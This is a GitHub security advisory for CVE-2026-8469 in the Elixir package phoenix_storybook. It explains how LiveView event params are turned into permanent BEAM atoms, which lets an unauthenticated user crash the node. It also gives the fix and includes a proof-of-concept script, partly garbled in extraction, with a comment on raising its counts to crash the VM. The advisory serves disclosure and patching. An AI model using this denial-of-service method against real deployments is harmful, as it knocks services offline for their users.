GitHub Advisoryadvisory · Hex
GHSA-833p-95jq-929q PhoenixStorybook: Unbounded atom creation from LiveView event params (atom-table DoS)
HIGH
Official page ↗
- Aliases
- CVE-2026-8469
- Ecosystem
- Hex
- Packages
- phoenix_storybook
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- Weaknesses
- CWE-770
- Reviewed
- 2026-06-09
Affected packages
• Hex phoenix_storybook: >= 0.2.0, < 1.1.0 → fixed in 1.1.0
Description
Summary
An attacker who can deliver `psb-assign`, `psb-toggle`, `psb-set-theme`, `upper-tab-navigation`, `lower-tab-navigation`, `playground-change`, or `playground-toggle` LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.
Tabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395
Details
`PhoenixStorybook.Story.Playground` and `PhoenixStorybook.ExtraAssignsHelpers` converts user-supplied event params into atoms without checking whether the atoms already exist:
• `handle_set_variation_assign/3` (`lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59`) iterates the event params map and calls `String.to_atom/1` on every key.
• `handle_toggle_variation_assign/3` (line 73) calls `String.to_atom/1` on the `"attr"` value supplied by the client.
• `to_variation_id/2` (lines 90, 93) calls `String.to_atom/1` on each element of `"variation_id"`.
• `to_value/4` (lines 106, 107) calls `String.to_atom/1` on the raw string value for any attribute declared as `:atom` or `:boolean`.
The existing guards do not help: `check_type!/3` for `:boolean` inspects the atom *after* `String.to_atom/1` has already interned it, so the leak has already happened. The `:atom` branch only checks `is_atom/1`, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.
The fix is to use `String.to_existing_atom/1` (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared `story.attributes()` / variation registry and reuse the atom from there.
PoC
The attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver `psb-assign` events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3` (see `lib/phoenix_storybook/live/story/playground_preview_live.ex`), so the script calls that helper directly with attacker-shaped params — a stub `FakeStory` providing an empty `attributes/0` list and a single `:default` variation, plus an `extra_assigns` map keyed by `{:single, :default}`.
Each simulated request is a params map with 5,000 unique keys of the form `"psb_evil___"`. Because the helper does `for {key, value} %{}}
Each request from the attacker is one params map. Use 5_000 unique attribute
names per request, across 5 requests = 25_000 distinct atoms permanently
leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)
nonce = System.unique_integer([:positive])
requests = 5
attrs_per_request = 5_000
before_count = :erlang.system_info(:atom_count)
for r "default"} do
{"psb_evil_#{nonce}_#{r}_#{i}", "x"}
end
ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)
end
after_count = :erlang.system_info(:atom_count)
delta = after_count - before_count
IO.puts("atom_count before: #{before_count}")
IO.puts("atom_count after: #{after_count}")
IO.puts("delta: #{delta}")
IO.puts("atom_limit: #{:erlang.system_info(:atom_limit)}")
expected = requests * attrs_per_request
if delta >= expected do
IO.puts(
"VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM."
)
else
IO.puts("NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})")
end
```
Logs
```logs
atom_count before: 26341
atom_count after: 51361
delta: 25020
atom_limit: 1048576
VERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.
```
Related
Alias · CVE (1)
- CVE-2026-8469 Allocation of Resources Without Limits or Throttling vulnerability in phenixdigital phoenix_storybook allows unauthenticated… vulnerability
Weakness · CWE (1)
- CWE-770 Allocation of Resources Without Limits or Throttling weakness
References
- https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-833p-95jq-929q web
- https://nvd.nist.gov/vuln/detail/CVE-2026-8469 advisory
- https://github.com/phenixdigital/phoenix_storybook/commit/96d524690af0fe197a49f60d18e564a620b9ef81 web
- https://cna.erlef.org/cves/CVE-2026-8469.html web
- https://github.com/phenixdigital/phoenix_storybook package
- https://osv.dev/vulnerability/EEF-CVE-2026-8469 web